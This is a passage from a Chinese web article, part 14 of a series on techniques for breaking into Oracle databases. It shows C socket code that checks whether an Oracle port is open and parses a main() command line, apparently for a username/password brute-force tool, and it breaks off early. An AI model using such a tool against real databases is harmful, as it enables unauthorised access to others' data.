入侵oracle数据库的一些技巧(14)


    clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);

    timer4.tv_sec = 5;//以秒为单位指定等待时间
    timer4.tv_usec = 0;

    FD_ZERO(&writefd);
    FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试

    recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr));

    if( FD_ISSET(fd, &writefd))
    {
      recv = select(fd+1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入

      if( recv > 0 ) 
          Result = TRUE;
    }

    closesocket(fd);
    WSACleanup();

    return Result;

}


int main(int argc, char **argv)
{

  PassInfo * head, * curr = NULL;
  NameInfo * headnode, * currnode = NULL;
  int namecount = 0, passcount = 0; 

/////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
  //参数不为8个的时候打印帮助
      if(argc != 10)
          usage();

  if (argc == 10)
  {
      if ( strcmpi(argv[2], "-x") )
          usage();

      if ( strcmpi(argv[4], "-u") )
                      usage();

      if ( strcmpi(argv[6], "-d") )
              usage();  
    if ( strcmpi(argv[8], "-i") )
          usage();

  }



/* determinate whether the oracle port is open */
  if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
  {
      printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1490.html